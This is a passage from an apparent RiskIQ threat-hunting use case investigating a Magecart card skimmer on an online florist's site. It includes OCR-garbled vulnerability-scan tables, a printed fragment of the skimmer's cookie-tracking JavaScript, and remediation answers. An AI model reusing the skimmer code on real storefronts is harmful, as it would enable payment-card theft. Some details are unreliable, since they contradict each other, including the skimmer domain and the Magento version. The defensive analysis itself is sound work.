	Platform Solutions Comp	liance Free Security T	ests Compa	ny Partners	Full Test	LOGIN	Q		
	Rowerexplosion.com	HTTP / 80	?	Not tested yet	?	?			Table of Contents
	flowerexplosion.com	HTTPS / 443		Not tested yet	?	?			Test Summary
	email.flowerexplosion.com	HTTP / 80	?	Not tested yet	?	?			Subdomain Discovery CMS Security Analysis
		O SHOW	1 MORE RESULT						GOPR Security Analysis
				1					PCI DSS Security Analysis
									Content Security Policy Analysis
	CMS Security Analysis						-		Cookies Security Analysis
	A non-intrusive CMS fingerprinting technology to	horoughly crawls some parts	of the CMS to fir	gerprint its version in the	most accurate manner				Third-Party Content Analysis
	FINGERPRINTED CMS & VULNERABILITIES O								
	Magento2 ?								
	CMS version was not identified. Make sure it is	up2date.							
the state of the s	FINGERPRINTED CMS COMPONENTS & VULNE	RABILITIES O							
eick s	JQuery 18.0								
ĕ	The fingerprinted component version is outdat	ed and vulnerable, publicly k	nown vuinerabilit	lies exist. Update to the m	ost recent version 3.4.1	now.			
	- creater contain section	Conc. (2) Conc. 200							
	Flat-ul 212								
	The fingerprinted component is outdated, but	no publicly known vulnerabil	ities were detect	ed. Update to the most rec	cent version 2.3.0 now				
	Respond 130	to publicly known wineshill	Vier were detect	ed Undstate to the most sec					
	The ingerprinted component is outdated, out	to publicly known varietaut	ues were detect	ed. opuste to the most ret	cent version trace now.				
Processing U.S.S. The becomposed or produced is profilted for the sublicit brown undershilles used detected linetize to the most sector sector 12.0 most									
The strategy process of any process									
Potentym 1250 The frequentiate component version is update, no security issues found.									
i i i i i i i i i i i i i i i i i i i									
	GDPR Security Analysis						-		
	If the website processes or stores any PII of EU r	esidents, the following requir	ements of EU GO	PR may apply:					

The results show a cross-site scripting vulnerability like we suspected and a Magento eCommerce Platform vulnerability.

Note:

The vulnerability scan represents how the website appeared at the time of the scan. If the organization has updated the server or new vulnerabilities have been announced your report may be different than what is reflected in this document.

Conclusion:

While investigating it is best to utilize tools that safeguard your systems from possible compromised and limiting the threat actor from finding out you are investigating them.

PassiveTotal was able to show that a script was modified in late May of 2019. By examining the DOM from www[.] flowerexplosion[.]com (using https://urlscan.io) we were able to determine exactly what script the web site was calling from jquery[.]su. The file that was being called was /ki/x2[.]js. In the file we noticed the script was looking for patterns that appeared to be payment card information.

```
A20_99f77070702c32e5a8eaba3c38801bec:(function(name){
var matches=document.cookie.match(new RegExp('(?:^|; )'+name.replace(/
([\.$?*|{}\(\)\[\]\\\/+^])/g,'\\$1')+'=([^;]*)'));
return matches?decodeURIComponent(matches[1]):undefined;
})('A21_c9571bae638b1e00f6ce64325c44c285')||(function(){
var ms=new Date();
var myid = Math.floor(Math.random()*(999999999-1111111+1)+1111111)+ms.
getTime()+"-"+Math.floor(Math.random()*(999999999-1111111+1)+1111111);
var date=new Date(new Date().getTime()+60*60*24*1000);
document.cookie='A21_c9571bae638b1e00f6ce64325c44c285='+myid+'; path=/;
expires='+date.toUTCString();
return myid;
```

Now we determined the malicious scripts to remove from your website.



But to prevent future compromises we needed to determine the vulnerabilities that exist on the web site so it can be patched or upgraded to prevent malicious code from being inserted back on the website.

By utilizing RiskIQ PassiveTotal's Digital Footprint we determine that the website had an old version of bootstrap 3.3.1 and it needs to be upgraded to either version 3.4.1 or 4.3.1.

- 1. Were payment cards being stolen from www[.]flowerexplosion.com? Yes, we have confirmed that scripts that were associated with Magecart were present on the server and financial institutions source fraudulent payment card transactions after users made purchases on www[.] flowerexplosion[.]com
- 2. How were the payment cards being stolen? Payment card information was stolen via a JavaScrip skimmer from jquery[.]com located in Ukraine and Russia.
- 3. How do you suspect the website was compromised? The website was compromised either by a vulnerability in Bootstrap 3.3.1 or Magento 0.74.
- 4. How can you prevent similar attacks in the future from occurring on www[.]flowerexplosion. *The website's bootstrap 3.3.1 and Magento 0.74 needs to upgrade to a non-vulnerable version.*

Investigations can be done even if the servers have been erased and no backups are available. The use of security tools that gather information all the time and have a rich history are vital to threat hunters and security researchers.

We hope you enjoyed this use case and share it with your friends and colleagues.



RiskIQ, Inc.

22 Battery Street, 10th Floor San Francisco, CA. 94111

- Learn more at riskiq.com
- ☑ sales@riskiq.net
- **L** 1888.415.4447

Copyright © 2019 RisklQ, Inc. RisklQ, the RisklQ logo and RisklQ family of marks are registered trademarks or trademarks of RisklQ, Inc. in the United States and other countries. Other trademarks mentioned herein may be trademarks of RisklQ or other companies. 10_19